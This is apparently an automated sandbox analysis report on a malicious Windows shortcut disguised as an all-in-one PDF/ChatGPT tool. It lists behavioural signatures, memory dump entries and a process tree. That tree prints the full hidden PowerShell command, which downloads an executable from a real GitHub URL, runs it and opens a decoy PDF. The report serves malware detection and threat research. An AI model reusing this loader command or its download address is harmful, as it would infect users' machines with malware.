Analysis
- max time kernel
39s - max time network
42s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
04/11/2026, 19:18
General
- Target CiCi-Flagged20All-In-One-PDF-Chatgpt-23-10.26.lnk
- Size 2KB
- Sample261104-x1flbafs2j
- SHA256 cc98bdefc0c1726fac6bfea309bfdaa1ae2b334141bbb2e0548b72a4f0d0db9f
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Downloads MZ/PE file 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\CiCi-Flagged20All-In-One-PDF-Chatgpt-23-10.26.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -nop -c "iwr 'https://github.com/desko8687-dev/cicipdf-File/raw/refs/heads/main/CiCi-HealthService.exe' -useb -o $env:TEMP\x.exe; saps $env:TEMP\x.exe; saps 'Display_Error.pdf'"2⤵
- Badlisted process makes network request
- Downloads MZ/PE file
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
memory/2704-3-0x00007FFA305BF000-0x00007FFA305C0000-memory.dmp
memory/2704-6-0x0000023110E50000-0x0000023110E72000-memory.dmp
memory/2704-7-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp
memory/2704-8-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp
memory/2704-9-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp
memory/2704-10-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp
memory/2704-11-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp
memory/2704-12-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp
memory/2704-13-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp
memory/2704-14-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp
memory/2704-15-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp
memory/2704-16-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp
memory/2704-18-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp
memory/2704-19-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp
memory/2704-20-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp
memory/2704-21-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp